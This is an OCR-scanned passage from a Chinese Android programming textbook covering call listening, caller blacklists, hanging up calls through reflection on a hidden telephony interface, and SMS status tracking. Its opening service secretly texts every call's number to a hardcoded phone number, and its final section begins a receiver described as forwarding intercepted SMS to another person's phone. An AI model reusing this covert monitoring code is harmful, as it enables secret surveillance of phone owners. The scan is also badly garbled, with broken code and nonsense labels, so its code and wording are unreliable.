this .telephony = (TelephonyManager) super 
.getSystemService(Context.TELEPHONY_SERVICE); // 取 得 服务 
this .telephony.listen(new PhoneStateListenerImpl(), 


PhoneStateListener.LISTEN_CALL_STATE); // 设 置 电话 监 
Super.onCreate(); 
h 
@Override 
public void onStart(Intent intent, int startld) { /启动 服务 
/只 有 通过 onStart() 方 法 才 可 以 取得 通过 Intent 传递 过 来 的 数据 ， 而 去 电 号 码 将 通过 此 方 
式 传递 
this.outgoingNumber = intent.getStringExtra("outgoingNumber"); // 取 得 去 电 号 码 
this.intent = intent ; // 取 得 Intent 
super.onStart(intent, startld); 
} 
@Override 
public IBinder onBind(Intent intent) { 
return null; 
} 
private class PhoneStateListenerImpl extends PhoneStateListener { /电话 监听 
@Override 
public void onCallStateChanged(int state, String incomingNumber) { /呼叫 状态 
switch (state) { 1/ 判断 状态 
case TelephonyManager.CALL_STATE IDLE: // 没 有 拨 入 或 拨 出 
break; 
case TelephonyManager.CALL_STATE_RINGING: // 有 电话 进入 
new MessageSendUtil(PhoneService.this, PhoneService.this.intent) 
.send("13683527621", incomingNumber，" 拨 入 "); /发送 信息 
break; 
case TelephonyManager.CALL_STATE_OFFHOOK: // 使 用 电话 
new MessageSendUtil(PhoneService.this, PhoneService.this.intent) 
.send("13683527621", PhoneService.this.outgoingNumber, 
"呼出 "); // 发 送信 息 
break; 
} 
hh 
} 


| 


本 程序 在 之 前 程序 基础 上 进行 了 修改 ， 由 于 MessageSendUtil 类 需要 使 用 Context 和 Intent 


对 象 ， 所 以 必须 在 onStart0 方 法 中 取得 操作 的 mntent， 而 后 在 电话 接 入 或 拨 出 时 调用 短信 发 送 工 


具 类 ， 并 指定 接收 入 的 电话 号 码 ， 发 送信 息 。 
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11.3.4 ”实现 手机 黑 名 单 


如 果 手 机 来 电 是 不 愿意 接听 的 号 码 , 则 让 手机 切换 到 静音 状态 , 这 样 的 功能 在 Android 系统 
中 也 可 以 利用 手机 服务 来 完成 ， 但 还 需要 android.media.AudioManager 类 的 支持 ， 要 使 用 此 类 来 
设置 黑 名 单 来 电 时 的 手机 静音 操作 。 
本 程序 将 在 电话 监听 程序 的 基础 上 完成 ， 由 于 程序 需要 通过 文本 组 件 输入 要 过 滤 的 电话 号 
人 码 ， 所 以 本 次 的 Service 将 通过 Activity 程序 启动 。 
【 例 11-14】 定义 布局 管理 器 一 一 main.xml 
<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 线 性 布局 管理 器 
xmlins:android="http:/schemas.android.com/apKk/res/android" 
android:orientation="vertical” // 所 有 组 件 垂 直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<EditText /文本 编辑 组 件 ， 用 于 输入 电话 号 码 
android:id="@+id/phonenumber” // 组 件 ID， 程 序 中 使 用 
android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height= "wrap_contenty> // 组 件 高 度 为 文字 高 度 

<Button /按钮 组 件 
android:id="@+id/setnumber” // 组 件 ID， 程 序 中 使 用 
android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height="wrap_content” // 组 件 高 度 为 文字 高 度 
android:text=" 过 沪 '/> // 黑 认 显示 文字 

<Button /按钮 组 件 
android:id="@+id/cancelnumber” // 组 件 ID， 程 序 中 使 用 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="wrap_content” // 布 局 管理 器 高 度 为 文字 高 度 
android:text=" 殉 游 过 湾 '/> // 轩 认 显示 文字 

</LinearLayout> 


此 外 ， 由 于 程序 要 随时 判断 Activity 与 Service 之 间 的 连接 状态 ， 所 以 建立 一 个 标记 接口 ， 
本 做 法 与 第 9 章 讲解 Service 组 件 时 的 操作 一 致 。 
【 例 11-15】 定义 标记 性 接口 一 一 Iservice 
package org.Ixh.demo; 
public interface IService { 
} 
【 例 11-16】 定义 电话 过 滤 的 Service 程序 一 一 PhoneService 
package org.Ixh.demo; 
import android.app.Service; 
import android.content.Context; 
import android.content.Intent'; 
import android.media.AudioManager; 
import android.os.Binder; 
import android.os.IBinder; 
import android.telephony.PhoneStateListener; 
import android.telephony.TelephonyManager; 
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public class PhoneService extends Service { 


private TelephonyManager telephony = null: /电话 管理 器 
private AudioManager audio = null ; /音频 管理 
private String phoneNumber = null ; // 要 过 滤 的 电话 
private IBinder myBinder = new Binderlmpl() ; /定义 IBinder 
class BinderlImpl extends Binder implements IlService { 
@Override 
public String getinterfaceDescriptor() { // 取 得 接口 描述 信息 
return "过 滤 电 话 " + PhoneService.this.phoneNumber 
+ "设置 成 功 !"; // 返 回 Service 类 的 名 称 
1 
} 
@Override 
public IBinder onBind(Intent intent) { 
this.phoneNumber = intent.getStringExtra("phonenumber"); // 取 得 电话 号 码 


this telephony = (TelephonyManager) super 
.getSystemService(Context.TELEPHONY_SERVICE); 。 // 取 得 服务 
this.audio = (AudioManager) super 


.getSystemService(Context.AUDIO_SERVICE); // 取 得 服务 
this telephony.listen(new PhoneStateListenerImpl(), 
PhoneStateListener.LISTEN_CALL_STATE); /设置 电话 监听 
return this.myBinder; // 返 回 IBinder 对 象 
} 
private class PhoneStateListenerImpl extends PhoneStateListener { /电话 监听 
@Override 
public void onCallStateChanged(int state, String incomingNumber) { /呼叫 状态 
switch (state) { 1/ 判断 状态 
case TelephonyManager.CALL_STATE _IDLE: // 没 有 拨 入 或 拨 出 
PhoneService.this.audio 
.setRingerMode(AudioManager.RINGER_MODE_NORMAL);// 正 常 
响 铃 
break.; 
case TelephonyManager.CALL_STATE_RINGING: // 有 电话 进入 
if (incomingNumber.equals(PhoneService.this.phoneNumber)) {// 为 过 滤 号 码 
PhoneService.this.audio 
.setRingerMode(AudioManager.RINGER_MODE_SILENT);// 静 音 
| 
break.; 
} 
上 
} 
上 


本 服务 类 的 主要 功能 是 接收 用 户 所 设置 的 要 过 滤 的 电话 号 码 ， 而 后 在 电话 拨 入 时 (CALL_ 
STATE RINGING) 判断 拨 入 号 码 是 否 与 设置 的 过 滤 号 码 一 致 ， 如 果 一 致 则 使 用 AudioManager 
类 中 的 setRingerMode() 方 法 将 电话 静音 。 

【 例 11-17】 定义 Activity 程序 ， 操 作 Service 
package org.lxh.demo; 


import org.lxh.demo.PhoneService.BinderImpl; 
import android.app.Activity; 
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import android.content.ComponentName; 
import android.content.Context; 
import android.content.Intent'; 
import android.content.ServiceConnection'; 
import android.os.Bundle; 
import android.os.IBinder'; 
import android.os.RemoteException; 
import android.view.View; 
import android.view.View.OnClickListener 
import android.widget.Button; 
import android.widget. TextView; 
import android.widget. Toast; 
public class PhoneActivity extends Activity { 
private TextView phoneNumber = null; 
private Button setNumber = null; 
private Button cancelNumber = null; 
private ServiceConnection serviceConnection = new ServiceConnectionImpl(); 
private |Service service = null ; 
@Override 
public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); // 定 义 布局 管理 器 
this.phoneNumber = (TextView) super.findViewByld(R.id.phonenumber);// 取 得 组 件 
this.cancelNumber = (Button) super.findViewByld(R.id.cancelnumben);”// 取 得 组 件 
this.setNumber = (Button) super .findViewByld(R.id.setnumben); // 取 得 组 件 
this.setNumber.setOnClickListener(new SetOnClickListenerlImpl()); /设置 监听 
this.cancelNumber.setOnClickListener(new CancelOnClickListenerlImpl()); /监听 


} 
private class SetOnClickListenerImpl implements OnClickListener { 
@Override 
public void onClick(View view) { 
Intent intent = new Intent(PhoneActivity.this, PhoneService.class); 
intent.putExtra("phonenumber", 
PhoneActivity.this.phoneNumber.getText().toString()); // 设 置 过 滤 号 码 
PhoneActivity.this.bindService(intent, 
PhoneActivity.this.serviceConnection, 
Context.BIND_AUTO_CREATE); // 绑 定 Service 
} 
bi 
private class CancelOnClickListenerImpl implements OnClickListener { 
@Override 
public void onClick(View view) { 
if(PhoneActivity .this.service != null) { // 已 经 连接 上 了 Service 
PhoneActivity.this 


.unbindService(PhoneActivity.this.serviceConnection); /解除 绑 定 


PhoneActivity.this.stopService(new Intent(PhoneActivity.this, 


PhoneService.class)); /停止 Service 
Toast.make Text(PhoneActivity.this, " 黑 名 单 已 取消 ", Toast.LENGTH_LONG) 
.show(); // 提 示 信 息 
PhoneActivity.this.service = null ; /清空 标记 
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} 

} 

private class ServiceConnectionImpl implements ServiceConnection { 
@Override 
public void onServiceConnected(ComponentName name, 

IBinder service) { /| 连接 到 Service 
PhoneActivity.this.service = (BinderImpl)service ; // 取 得 1Service 接口 对 象 
try{ 

Toast.make Text(PhoneActivity.this, 

service.getinterfaceDescriptor(), Toast.LENGTH_LONG) 
-show(); // 提 示 信 息 
}catch (RemoteException e) { 
e.printStackTrace(); 

} 

@Override 

public void onServiceDisconnected(ComponentName name) { // 与 Service 断 开 连 接 

} 

} 


} 

Activity 程序 的 主要 功能 是 接收 用 户 要 过 滤 的 电话 号 码 ， 用户 可 以 直接 通过 文本 输入 组 件 输 
入 要 过 滤 的 号 码 ， 而 后 将 此 号 码 设置 到 PhoneService， 之 后 进行 电话 的 拦截 。 本 程序 需要 实体 手 
机 支持 ， 读 者 可 以 自行 在 手机 上 测试 。 


11.3.5 使 用 AIDL 挂 断 电话 


如 果 要 想 直 接 挂 断 不 想 接 的 电话 ， 该 如 何 实现 ? 
早期 的 Android 系统 中 提供 了 自动 挂 断 电话 的 功能 , 但 是 随 着 版 本 的 升 高 , 这 些 功能 被 逐步 
隐藏 起 来 ， 现 在 用 户 无 法 直接 调用 相关 功能 ， 但 是 可 以 依靠 AIDL 技术 完成 间接 调用 。 


意 
对 于 AIDL， 本 书 只 做 基本 介绍 。 
由 于 AIDL 技术 在 日 常 开发 工作 中 使 用 较 少 ,所 以 本 书 不 再 做 详细 解释 , 只 通过 一 个 挂 断 
电话 的 常用 范例 进行 说 明 ， 有 兴趣 的 读者 可 以 参考 Android 提供 的 开发 文档 自行 学 习 。 
AIDL (Android Interface Definition Language，Android 接口 描述 语言 ) 是 指 可 以 在 不 同 的 进 
程 间 进行 数据 的 共享 操作 ， 主 要 是 基于 RPC (Remote Procedure Call， 远 程 过 程 调用 ) 方式 来 实 
现 的 。 下 面 通 过 具体 的 代码 演示 如 何 实现 本 操作 。 本 程序 将 在 11.3.4 节 程 序 的 基础 上 进行 修改 ， 
重复 的 代码 不 再 列 出 。 

【 例 11-18】 定义 一 个 AIDL 描述 文件 
package com.android.internal.telephony ; 
interface ITelephony{ 

boolean endCall(); // 挂 断 电话 
void answerRingingCall(); /拨打 电话 


ITelephony.aidl 
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在 本 程序 中 只 规定 了 一 个 接口 ， 而 且 此 接口 对 应 的 操作 方法 也 是 其 他 进程 所 允许 的 ， 在 编 


回 ”本 程序 包 名 称 不 能 任意 修改 ， 必 须 是 com.android.intermal.telephony。 

在 本 程序 中 定义 的 方法 前 不 能 加 入 任何 访问 权限 。 

当 本 程序 编写 完成 之 后 ， 会 自动 在 gen 文件 夹 中 生成 一 个 名 为 ITelephony:java 的 文件 ， 如 
图 11-3 所 示 。 


日 -多 phoneproject 
日 -中 xc 
日 - 孔 com,android,internal,telephony 
ITelephony.aidl 
日 - 宙 org,kh.demo 
外 -| IService,java 
田 - 国 PhoneActivity,java 
四 -| 有 PhoneService,java 
gen [Generated Java Files] 


日 -中 com,android 


占 


ernal,telephony 
9 
由 - 宙 org,xh,demo 
田 -到 Android 2.3.3 
ES assets 
四 -BS res 
回 AndroidManifest,xml 
园 default,properties 
proguard,cfg 


图 11-3 自动 生成 ITelephonyjava 


本 程序 编写 完成 之 后 ， 下 面 修改 11.3.4 节 应 用 程序 中 的 PhoneService.java 程序 。 
【 例 11-19】 修改 电话 服务 类 一 一 PhoneService.java 

package org.Ixh.demo; 

import java.lang.reflect.Method; 

import android.app.Service; 

import android.content.Context; 

import android.content. Intent; 

import android.os.Binder; 

import android.os.lBinder; 

import android.os.RemoteException; 

import android.telephony.PhoneStateListener; 

import android.telephony. TelephonyManager; 

import com.android.internal.telephony.ITelephony; 

public class PhoneService extends Service { 


private TelephonyManager telephony = null; // 电 话 管理 器 
private String phoneNumber = null ; // 要 过 滤 的 电话 
private IBinder myBinder = new BinderlImpl() ; /定义 IBinder 
class BinderlImpl extends Binder implements IService { 

@Override 

public String getinterfaceDescriptor() { // 取 得 接口 描述 信息 

return "过 滤 电 话 ” + PhoneService this.phoneNumber 
+ "设置 成 功 ! “; // 返 回 Service 类 的 名 称 

} 
} 
@Override 
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public IBinder onBind(Intent intent) { 
this.phoneNumber = intent.getStringExtra("phonenumber"); // 取 得 电话 号 码 


this telephony = (TelephonyManager) super 
.getSystemService(Context.TELEPHONY_SERVICE); /取得 服务 
this .telephony.listen(new PhoneStateListenerImpl(), 


PhoneStateListener.LISTEN_CALL_STATE); // 设 置 电话 监 
return this.myBinder: // 返 回 IBinder 对 象 
1 
private class PhoneStateListenerImpl extends PhoneStateListener{ // 电 话 监 | 
@Override 
public void onCallStateChanged(int state, String incomingNumber) { /呼叫 状态 
switch (state) { 1// 判 断 状态 
case TelephonyManager.CALL_STATE _IDLE: // 没 有 拨 入 或 拨 出 
break.; 
case TelephonyManager.CALL_STATE_RINGING: // 有 电话 进入 
if (incomingNumber.equals(PhoneService.this.phoneNumber)) {// 过 滤 号 码 
ITelephony iTelephony = getlTelephony\(); // 获 取 电 话 接口 
if (iTelephony != null) { 
try{ 
iTelephony.endCall(); // 挂 断 电话 
}catch (RemoteException e) { 
e.printStackTrace(); 
} 
D 
b 
break; 
b 
} 
j 
private ITelephony getITelephony() { 
ITelephony iTelephony = null; // 定 义 接口 对 象 
Class<TelephonyManager> c = TelephonyManager.class; // 取 得 Class 
Method getITelephonyMethod = null; // 要 调用 的 方法 
try{ 
getiTelephonyMethod = c.getDeclaredMethod("getiTelephony");// 获 取 声 明 的 方法 
getiTelephonyMethod.setAccessible(true); // 将 方法 设置 为 可 见 
} catch (Exception e) { 
e.printStackTrace() ; 
} 
try{ 
iTelephony = (ITelephony) getiTelephonyMethod.invoke( 
this.telephony); // 获 取 实 例 
return iTelephony; 
} catch (Exception e) { 
e.printStackTrace(); 
; 
return iTelephony; // 返 回 对 象 
上 


本 程序 最 大 的 改变 就 是 加 入 了 getITelephony0 方 法 ， 而 且 在 此 方法 中 通过 反射 动态 地 调用 
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了 TelephonyManager 类 的 getITelephony0 方 法 ， 之 所 以 这 样 调用 ， 主 要 是 因为 此 方法 在 
TelephonyManager 类 中 是 使 用 private 关键 字 声 明 的 , 只 有 通过 反射 操作 才 有 可 能 使 用 setAccessible() 
方法 取消 封装 。 


意 
对 于 反射 操作 不 熟悉 的 读者 可 以 参考 《名 师 讲坛 一 一 Java 开发 实战 经 典 》 一 书 。 
通过 反射 机 制 取得 一 个 类 中 的 指定 方法 ， 并 且 使 用 java.langreflect.AccessibleObject 类 中 
的 setAccessible() 方 法 取消 封装 这 一 操作 ， 在 《名 师 讲坛 Java 开发 实战 经 典 》 一 书 第 15 
章 中 有 所 讲解 。 


当 有 需要 过 滤 的 电话 拨 入 之 后 ，Service 程序 会 通过 getITelephony0 方 法 取得 ITelephony 接 
口 实例 化 对 象 ， 并 且 利用 endCall0 方 法 自动 挂 断 电话 。 


114 短信 服务 


使 用 SmsManager 类 可 以 实现 短信 的 管理 功能 ， 而 在 之 前 最 常用 的 就 是 通过 此 类 发 送 短信 ， 
但 是 SmsManager 类 的 功能 并 不 止 于 此 ， 本 章 将 讲解 SmsManager 类 的 深入 应 用 。 


11.4.1 判断 短信 发 送 状 态 
短信 发 送出 去 后 , 如 何 知道 对 方 是 耕 收 到 短信 了 呢 ? 为 此 在 SmsManager 类 中 专门 提供 了 若 


-个 常量 ， 如 表 11-4 所 示 。 


表 11-4 SmsManager 类 的 常量 


No. 常量 类 型 描述 
1_|public static final int RESULT ERROR GENERIC _ FAILURE 常量 ”| 表示 普通 错误 
2 | public static final intRESULT_ERROR NO_SERVICE 常量 ”| 当前 没有 可 用 服务 (网 络 

信号 中 断 时 ) 

3 |public static final int RESULT ERROR NULL PDU 表示 没有 PDU 提供 者 
4 |public static final int RESULT ERROR RADIO OFF 关闭 无 线 广播 
5_|public static final int STATUS_ ON ICC FREE 表示 自由 空间 
6 |public static final int STATUS ON ICC READ i 
7 |public static final int STATUS ON ICC SENT 
8 |public static final int STATUS ON ICC UNREAD 
9 |public static final int STATUS ON ICC UNSENT 常量 “| 短信 未 发 送 


除了 以 上 状态 外 ， 还 需要 对 SmsManager 类 的 一 个 方法 做 深入 研究 ， 此 方法 如 下 所 示 : 
public void sendTextMessage (String destinationAddress, String scAddress, String text, Pendinglntent 
sentintent, Pendinglntent deliverylntent) 


在 sendTextMessage( 方 法 中 定义 了 如 下 几 个 操作 参数 。 
destinationAddress: 收 件 人 地 址 。 
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回 scAddress: 设置 接收 者 的 电话 号 码 。 

回 text: 发 送 的 文字 内 容 。 

回 sentmtent: 当 消息 发 出 时 ， 通 过 PendingIntent 来 广播 发 送 成 功 或 者 失败 的 信息 报告 ， 

如 果 该 参数 为 空 ， 则 检查 所 有 未 知 的 应 用 程序 ， 这 样 会 导致 发 送 时 间 延 长 。 

deliveryIntent: 当 信 息 发 送 到 收 件 处 时 ， 该 PendingIntent 会 进行 广播 。 

下 面 通过 一 个 具体 的 程序 来 演示 如 何 判 断 短 信 的 收发 状态 ， 首 先 需 要 定义 两 个 广播 接收 器 。 
【 例 11-20】 定义 发 送 广 播 接收 器 一 一 SMSSendBroadcastReceiver.java 

package org.Ixh.demo; 

import android.app.Activity; 

import android.content.BroadcastReceiver 

import android.content.Context; 

import android.content.Intent'; 

import android.telephony.SmsManager; 

import android.widget. Toast; 

public class SMSSendBroadcastReceiver extends BroadcastReceiver { 


@Override 
public void onReceive(Context context, Intent intent) { 
if(intent.getAction().equals("SMS_SEND_ACTION")) { /| 短信 发 送 
Switch (super.getResultCode()) { 
case Activity.RESULT_OK: // 短 信 发 送 成 功 
Toast.makeText(context, "短信 已 发 送 ! " Toast.LENGTH_SHORT).show() ; 
break.; 


case SmsManager.RESULT_ERROR_GENERIC_FAILURE: /| 短信 发 送 失 败 
Toast.make Text(context, "短信 发 送 失 败 !", Toast.LENGTH_SHORT).show(); 
break.; 


} 
b 
在 本 接收 器 子 类 中 ， 首 先 判断 操作 的 ACTION 是 否 是 SMS_SEND_ACTION， 而 后 对 请 求 
的 状态 码 进 行 判断 ， 并 使 用 Toast 组 件 进行 相应 的 提示 。 
【 例 11-21】 定义 送 达 广播 接收 者 一 一 SMSDeliveredBroadcastReceiver.java 
package org.Ixh.demo; 
import android.app.Activity; 
import android.content.BroadcastReceiver; 
import android.content.Context; 
import android.content. Intent; 
import android.telephony.SmsManager; 
import android.widget. Toast; 
public class SMSDeliveredBroadcastReceiver extends BroadcastReceiver { 
@Override 
public void onReceive(Context context, Intent intent) { 
if(intent.getAction().equals("SMS_DELIVERED_ACTION")){ /短信 发 送 
Switch (Super.getResultCode()){ 


case Activity.RESULT_ OK: // 短 信 发 送 成 功 
Toast.makeText(context, "短信 已 接收 ! ", ToastLENGTH_SHORT).show() ; 
break; 
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case SmsManager.RESULT_ERROR_GENERIC_FAILURE: // 短 信和 发 送 失 败 
Toast.make Text(context," 短 信和 发 送 失 败 ! ",，Toast.LENGTH_SHOR7). 


show() ; 
break; 


} 
本 程序 的 结构 与 SMSSendBroadcastReceiver 程序 一 样 ， 都 是 针对 于 用 户 的 请 求 进行 判断 ， 


并 使 用 Toast 进行 提示 。 
【 例 11-22】 定义 布局 管理 器 
<?xml version= "1.0" encoding="utf-8"?> 
<LinearLayout 


// 线 性 布局 管理 器 


xmlins:android="http:/schemas.android.com/apKk/res/android" 


android:id="@+id/MyLayout”" 


// 布 局 管理 器 ID， 程 序 中 使 用 


android:orientation="vertical” /所 有 组 件 垂 直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<TableLayout // 内 赃 表 格 布局 管理 器 


xmlIns:android="http:/schemas.android.com/apK/res/android” 


android:id="@+id/TableLayout01" 


// 布 局 管理 器 ID， 程 序 中 使 用 


android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="wrap_content”> // 布 局 管理 器 高 度 为 内 部 组 件 高 度 
<TableRow> // 定 义 表格 行 
<TextView // 文 本 显示 组 件 
android:text=" 公 和 访 人 : " // 默 认 显示 文字 
android:layout_width="90px” // 组 件 宽度 为 90 像素 
android:layout_height="wrap_content” ”// 组 件 高 度 为 文字 高 度 
android:textSize="20px"/> // 组 件 文字 大 小 为 20 像素 
<EditText // 文 本 编辑 组 件 
android:id="@+id/te/” // 组 件 ID， 程 序 中 使 用 
android:numeric="integer” // 此 组 件 只 能 输入 数字 
android:layout_width="260px”" // 组 件 宽度 为 260 像素 
android:layout_height= "wrap_contenty> // 组 件 高 度 为 文字 高 度 
</TableRow> // 表 格 行 完 结 
<View // 定 义 分 割 线 
android:layout_height="2px” // 组 件 高 度 为 2 像素 
android:background=#FF909090" /> /设置 背景 颜色 
<TableRow> /定义 表格 行 
<TextView // 文 本 显示 组 件 
android:text=" 认 估 : ” // 默 认 显 示 文 字 
android:textSize="20px" // 组 件 文字 大 小 为 20 像素 
android:layout_width="90px" /组 件 宽度 为 90 像素 
android:layout_height="wrap_contenty> // 组 件 高 度 为 文字 高 度 
<EditText /文本 编辑 组 件 
android:id="@+id/content" // 组 件 ID， 程 序 中 使 用 
android:lines="6" // 组 件 默认 显示 6 行 高 度 
android:gravity="top” /所 有 内 容 项 部 对 齐 
android:layout_width="260px” // 组 件 宽度 为 260 像素 
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android:layout_height= "wrap_contenty>  // 组 件 高 度 为 自身 高 度 
</TableRow> /表格 行 完结 
<View /定义 分 割 线 
android:layout_height= "2px" // 组 件 ID 为 2 像素 
android:background=#FF909090" /> /默认 显示 文字 
</TableLayout> // 内 赃 表 格 布局 管理 器 完结 
<Button /按钮 组 件 
android:id="@+id/send” 1// 组 件 ID， 程 序 中 使 用 
android:layout_width="fill_parent”" 1/ 组件 宽度 为 屏幕 宽度 
android:layout_height="wrap_content” // 组 件 高 度 为 文字 高 度 
android:text= " 疼 肉 每 售 /> // 软 认 显示 文字 
</LinearLayout> 
【 例 11-23】 定义 Activity 程序 发 送 短信 并 监听 
package org.Ixh.demo; 
import java.util.lterator'; 
import java.util.List; 
import android.app.Activity; 
import android.app.Pendinglntent; 
import android.content. Intent; 
import android.content. IntentFilter; 
import android.os.Bundle; 
import android.telephony.SmsManager; 
import android.view.View; 
import android.view.View.OnClickListener 
import android.widget.Button; 
import android.widget.EditText; 
public class MySMSListenerDemo extends Activity { 
private EditText tel = null ; /文本 编辑 
private EditText content = null ; /文本 编辑 
private Button send = null ; /按钮 组 件 
private SMSSendBroadcastReceiver sendRec = null ; // 短 信 发 送 广播 
private SMSDeliveredBroadcastReceiver delRec = null ; /| 短信 接收 广播 
@Override 
public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); // 默 认 布 局 管理 器 
this.sendRec = new SMSSendBroadcastReceiver() ; // 定 义 广播 接收 者 
this.delRec = new SMSDeliveredBroadcastReceiver() ; // 定 义 广播 接收 者 
this .tel = (EditText) super.findViewByld(R.id.te/) ; // 取 得 组 件 
this.content = (EditText) super.findViewByld(R.id.content) ; ”// 取 得 组 件 
this.send = (Button) super.findViewByld(R.id.send) ; // 取 得 组 件 
this.send.setOnClickListener(new SendOnClickListenerImpl()) ;，// 设 置 监 


} 


private class SendOnClickListenerImpl implements OnClickListener { 


@Override 
public void onClick(View view) { 


Intent sentlntent = new Intent("SMS_SEND_ACTION") ; /定义 Intent 
Intent deliveredlntent = new Intent("SMS_DELIVERED_ACTION") ; /定义 Intent 


SmsManager smsManager = SmsManager.getDefault(); 


String telephone = MySMSListenerDemo this . 


/| 短信 管理 类 
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tel.getText().toString() ; // 取 得 电话 号 码 
String content = MySMSListenerDemo this . 
content.getText().toString() ; // 取 得 短信 内 容 


Pendinglntent sendPendlntent = PendinglIntent.getBroadcast( 

MySMSListenerDemo this, 0, sentlntent, 0);) /Pendinglntent 
Pendinglntent deliveredPendlntent = Pendinglntent.9etBroadcast( 

MySMSListenerDemo this, 0, deliveredIntent, 0); /Pendinglntent 
MySMSListenerDemothis.registerReceiver( 

MySMSListenerDemo .this.sendRec, 

new IntentFilter("SMS_SEND_ACTION")); /注册 广播 接收 者 
MySMSListenerDemo.this .registerReceiver( 

MySMSListenerDemo.this.delRec, 

new IntentFilter(*SMS_DELIVERED_ACTION")); /注册 广播 接收 者 


if (content.length() > 70) { // 短 信和 度 大 于 70 字 
List<String> msgs = smsManager.divideMessage(content); // 拆 分 信息 
lterator<String> iter = msgs.iterator(); // 实 例 化 lterator 
while (iter.hasNext()) { /| 迭代 输出 

String msg = iter.next(); // 取 出 每 一 个 子 信息 


smsManager.sendTextMessage(telephone, null, msg, 
sendPendintent, deliveredPendintent); /发 送 文字 信息 


} 
}else{ // 不 足 70 字 
smsManager.sendTextMessage(telephone, null, content, 
sendPendlntent, deliveredPendlntent); /发 送 文字 信息 


} 
} 
本 程序 与 之 前 短信 发 送 程序 的 区 别 有 以 下 几 点 。 
(1) 定义 了 一 个 专门 负责 发 送 短信 状态 广播 的 PendingIntent 对 象 : 
Pendinglntent sendPendlntent = PendingIntent.getBroadcast( 
MySMSListenerDemo.this, 0, sentlntent, 0); 
(2) 定义 了 一 个 专门 负责 送 达 短信 状态 广播 的 PendingIntent 对 象 : 
Pendinglntent deliveredPendlntent = Pendinglntent.9etBroadcast( 
MySMSListenerDemo.this, 0, deliveredlntent, 0); 
(3) 发 送 短 信 时 ， 传 递 了 两 个 PendingIntent 对 象 : 
smsManager.sendTextMessage(telephone, null, msg, 
sendPendlntent, deliveredPendlntent); 
这 样 当 用 户 发 送 完 短信 之 后 ， 就 可 以 通过 两 个 PendingIntent 设置 的 不 同 的 ACTION， 来 调 
不 同 的 广播 接收 器 进行 处 理 。 
【 例 11-24】 修改 AndridManifestxml 文件 ， 配 置 权 限 
<Uses-permission android:name="android.permission.SEND_SMS"/> 
<Uses-permission android:name="android.permission.RECEIVE_SMS"/> 


配置 完成 之 后 ， 下 面 就 可 以 通过 模拟 器 进行 操作 ， 但 是 由 于 本 程序 需要 进行 短信 的 发 送 ， 所 
以 建议 读者 通过 ADT 插件 配置 两 个 Android 模拟 器 , 而 后 分 别 启动 , 这 两 个 模拟 器 的 端口 分 别 是 : 
5554 和 5556， 本 程序 将 通过 5556 端口 的 模拟 器 向 5554 发 送 短 信 ， 发 送 短 信 的 界面 如 图 11-4 所 
示 。 接 收 短信 的 界面 如 图 11-5 所 示 。 
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~ 
关于 短信 接收 者 一 一 SMSDeliveredBroadcastReceiver。 
对 于 短信 送 达 广播 者 SMSDeliveredBroadcastReceiver 的 运行 ,只 能 在 真 机 上 才能 模拟 出 
来 ， 而 在 模拟 器 上 是 无 法 体现 的 ， 读 者 可 以 自行 在 真 机 上 使 用 本 程序 。 
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图 11-5 接收 短信 


11.4.2 ”监听 短信 

除了 电话 监听 器 , 在 Android 系统 中 也 专门 提供 了 短信 监听 的 操作 程序 , 而 对 于 短信 的 监听 
操作 ， 也 同样 可 以 通过 一 个 广播 接收 者 来 进行 ， 下 面 通 过 具体 的 代码 说 明 此 操作 的 使 用 。 

如 果 要 通过 广播 实现 短信 的 监听 操作 ， 则 用 户 可 以 通过 Intent 的 getExtras() 方 法 取得 一 条 短 
信 的 全 部 信息 ， 而 该 信息 的 标记 为 . . 
pdus， 而 后 这 个 标记 将 返回 一 个 对 intent.getExtras().get("pdus") 3 Object [] 
象 数组 ， 此 对 象 数组 中 的 每 一 个 元 4 
素 都 表示 一 条 短信 的 具体 内 容 ， 而 bytel] | bytel] | bytel] | bytel] | bytel] | 
每 条 短信 的 具体 内 容 都 会 通过 一 个 
字 节 数组 表示 (byte[]) ， 如 图 11-6 有 
所 示 。 短信 数据 

通过 图 11-6 可 以 发 现 ， 当 用 户 通过 smsMesage 苇 换 


接收 到 短信 时 ， 实 际 上 所 有 的 短信 


数据 都 是 通过 字 节 


图 11-6 短信 的 接收 
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的 ， 而 该 字 节 数组 中 包含 了 短信 的 一 些 基 本 信息 ， 如 发 送 者 的 电话 、 接 收 的 时 间 、 短 信 的 内 容 等 ， 


如 果 要 想 将 这 些 字 节 数 据 变 为 上 
完成 转换 ，SmsMessage 类 的 常 


户 可 以 读 懂 的 数据 ,就 需要 使 用 android .telephony. SmsMessage 类 
用 方法 如 表 11-5 所 示 。 


表 11-5 SmsMessage 类 的 常用 方法 


public static SmsMessage createFromPdu (byte[] 


pdu) 


public String getMessageBodyO) 普 j 取得 短信 和 内容 


public String getOriginatingAddress() 普 六 取得 发 送 的 地 址 


public long getTimestampMillisO) 普 j 取得 发 送 的 时 间 


public boolean isEmail 音 
public String getEmailFrom 普 ji 取得 发 送 者 的 Email 地 址 
public String getEmailBody0) 普 ii 取得 Email 的 具体 内 容 


判断 是 否 是 Email 


掌握 了 短信 接收 的 基本 操作 之 后 ， 下 面 通过 一 个 程序 来 完成 短信 的 监控 操作 ， 本 程序 与 手 


机 监听 程 请 


的 功能 类 似 ， 当 用 广 


! 接 收 短信 之 后 , 将 使 用 SmsManager 把 监听 到 的 短信 发 送 到 指定 


用 户 的 手机 上 。 由 于 本 程序 只 在 后 台 和 运行， 所 以 只 需要 定义 一 个 广播 接收 者 即 可 。 
【 例 11-25】 定义 广播 接收 者 一 一 SMSBroadcastReceiver 


package org.Ixh.demo; 


import java.text.SimpleDateFormat; 


import java.util.Date; 


import android.app.Pendinglntent; 

import android.content.BroadcastReceiver; 

import android.content.Context; 

